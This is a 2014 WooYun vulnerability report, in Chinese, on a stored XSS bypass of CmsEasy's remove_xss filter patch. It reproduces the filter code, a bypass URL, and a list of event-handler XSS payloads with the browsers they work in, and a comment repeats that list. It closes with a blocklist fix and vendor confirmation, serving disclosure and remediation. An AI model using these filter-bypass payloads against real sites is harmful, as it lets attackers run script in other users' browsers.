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缺陷编号:wooyun-2014-063803

漏洞标题:cmseasy存储型XSS(CmsEasy_5.5_20140605升级补丁绕过)

相关厂商:cmseasy

漏洞作者: mramydnei

提交时间:2014-06-07 19:30

修复时间:2014-07-23 21:34

公开时间:2014-07-23 21:34

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-06-07: 细节已通知厂商并且等待厂商处理中
2014-06-08: 厂商已经确认,细节仅向厂商公开
2014-06-18: 细节向核心白帽子及相关领域专家公开
2014-06-28: 细节向普通白帽子公开
2014-07-08: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

remove_xss函数依旧可绕过

详细说明:

这是我用你最新补丁中bbs_public.php里的remove_xss做的一个小的测试页面:

http://x55.me/cmseasy.php?xss=test


下面是相关代码:(x-xss-protection:0 只是为了方便测试)

<?php
header("X-XSS-Protection: 0");
$val=$_GET["xss"];
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val);
}
$val = html_entity_decode($val);
if(preg_match('/&#(\d+)/', $val)){
exit('error');
}
if(preg_match('/&#[xX](\d+)/', $val)){
exit('error');
}
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true;
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
if ($val_before == $val) {
$found = false;
}
}
}
echo $val;
?>


看上去修复了一些问题hex,demical绕过的问题,不过还是没有过滤到点子上。
下面附上一个比较通用的绕过例子:

http://x55.me/cmseasy.php?xss=%3Cbody%20onpageshow=alert(10)%3E


123.png


当然还有一些其它的方法可以绕过:

<body onpopstate=alert(1)></body> //safari
<video onprogress=alert(3) src=//x55.me/1.ogg> opera/chrome/firefox
<body/onhashchange=alert(1)><a href=#>clickit</a>
<div ontouchstart=alert(1)>hello</div> /mobile
<video onprogress=alert(3) src=//x55.me/1.ogg> opera/chrome/firefox
<video oncanplay=alert(4) src=//x55.me/1.ogg> opera/chrome/firefox
<video oncanplaythrough=alert(5) src=//x55.me/1.ogg> chrome/opera
<video onratechange=alert(9) src=//x55.me/1.ogg> firefox
<video onsuspend=alert(10) src=//x55.me/1.ogg> chrome/firefox/safari
<video ontimeupdate=alert(11) src=//x55.me/1.ogg> chrome/opera

漏洞证明:

漏洞证明如上

修复方案:

作为临时修复建议,我觉得你可以把这行:

$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');


直接换成:

$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','on');


也就是在数组里再加一个'on',这样就把所有的on*(event handler)都过滤了
不过说句题外话,你这个过滤代码误杀已经很严重了。
比如一个正常的超级链接:

<a href=http://www.style.com>asd</a>


因为包含了style,就没法正常发出去了。所以建议还是花点时间好好重整一下。

版权声明:转载请注明来源 mramydnei@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-08 19:28

厂商回复:

感谢,立即更新

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-10 22:26 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    涨姿势了

  2. 2014-08-09 03:09 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    <body onpopstate=alert(1)></body> //safari<video onprogress=alert(3) src=//x55.me/1.ogg> opera/chrome/firefox<body/onhashchange=alert(1)><a href=#>clickit</a><div ontouchstart=alert(1)>hello</div> /mobile<video onprogress=alert(3) src=//x55.me/1.ogg> opera/chrome/firefox<video oncanplay=alert(4) src=//x55.me/1.ogg> opera/chrome/firefox<video oncanplaythrough=alert(5) src=//x55.me/1.ogg> chrome/opera<video onratechange=alert(9) src=//x55.me/1.ogg> firefox<video onsuspend=alert(10) src=//x55.me/1.ogg> chrome/firefox/safari<video ontimeupdate=alert(11) src=//x55.me/1.ogg> chrome/opera